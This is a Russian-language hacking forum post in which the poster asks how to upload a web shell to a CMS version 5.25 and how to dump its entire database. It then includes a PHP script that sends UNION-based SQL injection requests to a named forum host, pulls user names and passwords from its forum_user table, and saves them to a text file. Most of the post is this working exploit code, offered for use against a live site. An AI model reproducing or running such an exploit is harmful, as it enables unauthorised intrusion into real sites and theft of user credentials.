Парни подскажите как в эту CMS залить шелл.Актуально версия 5.25.Или как в админке можно сдампить всю БД.Вроде рылся и ни че не нашел. И еще вопрос. Парни скажите ка ксдампить полностью БД.
<? /************************************************* * 15.02.2007 22:00-23:12 * * супер пупер скрипт для вытаскивания баз * * * * * * (c)одед бай cRiLaZ * * (GraBBerZ TeaM) * * * * Приват в МИР!!!!!!!!! * * протева закрытых сорцов * ************************************************/ /*конфиг*/ $host="forum.tomsk.ru"; #хост $how_much=4; # скока раз повторять цикл /*функция, пишущая в файл sql.txt*/ function input_into($text) { $a_file=fopen("./sql.txt","a+"); fputs($a_file,"$text"); fclose($a_file); } /*собсно цикл*/ for($q=1;$q<=$how_much;$q++) { /*сдесь все, что после хоста*/ $string_query="forum.php?a=24&user_id=-1+UNION+SELECT+1,CONCAT(CHAR(45,45,45),user_name,C HAR(45,45),user_pass,CHAR(45,45,45)),null,null,nul l,null,null,null,null,null+FROM+forum_user+WHERE+i d=$q/* HTTP/1.0\n\n"; /*формируем запрос к серву, в разных скулях тут по разному нада поставить*/ $request ="GET http://".$host."/".$string_query." HTTP/1.1\n"; $request.="Host: ".$host."\n"; $request.="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n"; $request.="Connection: keep-alive\n"; /*открываем сокет*/ $soket=fsockopen($host,80,$errno,$errstr,13); #13 ))) fwrite($soket,$request); #пишем в сокет while(!feof($soket)){ # $content.=fgets($soket);}#читаем fclose($soket); #закрываем /*регулярка*/ ereg("(---(.*)---)",$content,$infa); /*пишем в файл результаты*/ input_into("$q)".$infa[0]."\n"); /*обнуляем все, ваще то нада тока контент, но мы же примерные*/ $content=""; $params=""; $request=""; } /************************************************* * а это для тех, кто в доспехах * в общем регулярка думаю все понятно * "---" - это начало и конец строки, * "(.*)" - это любые значения. * Т.е. в массив будет попадать все следующего вида * "---loginwd:mail---", если канешна в пассе, логине и т.д. нету "---". * Ну наверно все, скуль для испытаний я взял у [sql]. * Просьба нащет орфографии не че не писать!!! * Пешу так спициальна по своим соображениям! ************************************************/ ?>
